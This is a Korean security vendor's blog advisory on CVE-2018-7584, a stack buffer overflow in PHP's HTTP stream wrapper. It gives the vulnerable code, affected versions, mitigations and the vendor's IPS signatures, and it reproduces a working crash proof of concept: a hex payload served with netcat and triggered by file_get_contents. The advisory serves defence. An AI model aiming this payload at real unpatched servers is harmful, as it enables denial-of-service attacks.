Wins blog

글로벌 정보보안 파트너! Global Security  No.1 윈스는 국가대표 정보보안 기업에서 글로벌 강소기업으로 도약합니다.

보안 정보

앞 내용 보기 다음 내용 보기
취약점 정보[CVE-2018-7584] PHP http_fopen_wrapper Stack Buffe
작성일 2018-03-15 조회 2770

php에 대한 이미지 검색결과

 

 

 

 

PHP에서 스택 버퍼 오버 플로우 취약점이보고되었습니다. 취약점은 HTTP 응답의 부적절한 구문 분석으로 인한 것입니다.


원격 공격자는 대상 PHP 서버가 공격자 제어 서버에 요청을 보내 게함으로써이 취약점을 악용 할 수 있습니다.

악용을 성공적으로 수행하면 대상 서버의 보안 컨텍스트에서 임의의 코드가 실행될 수 있습니다.


공급 업체 인 PHP는이 문제와 관련하여 다음과 같은 권고를 발표했습니다.

 

http://php.net/ChangeLog-7.php
https://bugs.php.net/bug.php?id=75981

 

 

 

[CVE-2018-7584] PHP http_fopen_wrapper Stack Buffer Overflow DoS

 

PHP http_fopen_wrapper Stack Buffer Overflow DoS.A 취약점은 HTTP 응답의 부적절한 구문 분석으로 서비스 거부를 발생시킵니다.
원격 공격자는 대상 PHP 서버가 공격자 제어 서버에 요청을 보내게 함으로써 이 취약점을 발생시킵니다.

 

대상 PHP 서버는 악의적으로 조작된 HTTP Response 패킷을 처리하는 과정에 ext/standard/http_fopen_wrapper.c 소스 코드 파일에 정의된 php_stream_url_wrap_http_ex 함수가 범위를 벗어나는 큰 문자열을 복사하면서 Buffer Overflow가 발생합니다.


공격에 성공하면 대상 서버에 서비스 장애를 발생시킵니다.


[Vulnerable code at]

php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 
2. 
3.      if (tmp_line[tmp_line_len - 1] == ' ') { 
4.        --tmp_line_len; 
5.        if (tmp_line[tmp_line_len - 1] == ' ') { 
6.          --tmp_line_len; 
7.        } 
8.} 
9. 
10.If the proceeding buffer contains ' ' as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go do -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed. 
11. 
12.$ bin/php --version 
13.PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS ) 
14.Copyright (c) 1997-2018 The PHP Group 
15.Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies 
16. 
17. 
18.Test script: 
19.--------------- 
20.$ xxd -g 1 poc 
21.0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a        000000000100.. 
22. 
23.$ nc -vvlp 8080 < poc 
24.Listening on [0.0.0.0] (family 0, port 8080) 
25.Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083) 
26.GET / HTTP/1.0 
27.Host: localhost:8080 
28.Connection: close 
29. 
30.$ bin/php -r 'file_get_contents("http://localhost:8080");' 

31. 
32.Expected result: 
33.---------------- 
34.NO CRASH 
35. 
36.Actual result: 
37.-------------- 
38.$ bin/php -r 'file_get_contents("http://localhost:8080");' 
39.================================================================= 
40.==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac 
41.READ of size 1 at 0xbfc038ef thread T0 

 

1. POC 패이로드 확인
1.$ xxd -g 1 poc (공격서버에 악성페이로드를 삽입)
0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a        000000000100..

 

2.NetCat을 이용해 poc를 전송
$ nc -vvlp 8080 < poc
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083)
GET / HTTP/1.0
Host: localhost:8080
Connection: close

 

3. php구문 실행 (타겟 서버에서 php구문을 실행해 공격서버에 HTTP 요청)
$ bin/php -r 'file_get_contents("http://localhost:8080");'

#file_get_contents() 함수 사용 - php로 웹상(원격)에 있는 파일을 읽는 방법
단지 파라메터를 url로 주고 함수를 호출 
한가지 기억해야할 점은 리턴받은 값을 사용하기 전에 error가 리턴 됬는지 확인

$content = file_get_contents('http://www.google.com/');
if ($content !== false) {
   // content 사용
} else {
   // error 발생
}

 

4. 악성페이로드를 HTTP 응답으로 받아 구문 처리하는 과정에 http_fopen_wrapper의 php_stream_url_wrap_http_ex 함수가 너무 큰 스트링을 복사해 서비스 중지 발생

 

 

 

취약시스템

 

PHP Group PHP 7.2.x through 7.2.2 
PHP Group PHP 7.1.x through 7.1.14 
PHP Group PHP 7.0.x before 7.0.28 
PHP Group PHP 5.6.33 and prior 

 

 

 

해결방안

 

1. 시스템 관리자는 신뢰할 수 있는 사용자만 네트워크에 액세스 할 수 있도록 허용
2. 시스템 관리자는 견고한 방화벽 전략을 사용하여 취약한 버전의 시스템을 외부 공격으로부터 보호
3. 시스템 관리자는 IP 기반 액세스 제어 목록 (ACL)을 사용하여 신뢰할 수있는 시스템만 취약한 버전의 시스템에 액세스 할 수 있도록 설정
4. 시스템 관리자는 취약한 버전의 시스템을 모니터링
5. 벤더사에서 제공하는 최신의 업데이트를 실시
 - http://php.net/ChangeLog-7.php
 - https://bugs.php.net/bug.php?id=75981

 

 


Sniper 제품군 대응 방안

 

► Sniper-IPS

[4135] PHP http_fopen_wrapper Stack Buffer Overflow DoS
[4136] PHP http_fopen_wrapper Stack Buffer Overflow DoS.A

 

► Sniper-UTM

[805374465] PHP http_fopen_wrapper Stack Buffer Overflow DoS
[805374466] PHP http_fopen_wrapper Stack Buffer Overflow DoS.A

 

► Sniper-APTX

[3370] PHP http_fopen_wrapper Stack Buffer Overflow DoS
[3371] PHP http_fopen_wrapper Stack Buffer Overflow DoS.A

 

 

 

참조
 

http://php.net/ChangeLog-7.php

http://www.securityfocus.com/bid/103204
https://bugs.php.net/bug.php?id=75981
https://github.com/php/php-src/commit/523f230c831d7b33353203fa34aee4e92ac12bba 
https://0daydb.com/vulnerability/16319

첨부파일 첨부파일이 없습니다.
태그 CVE-2018-7584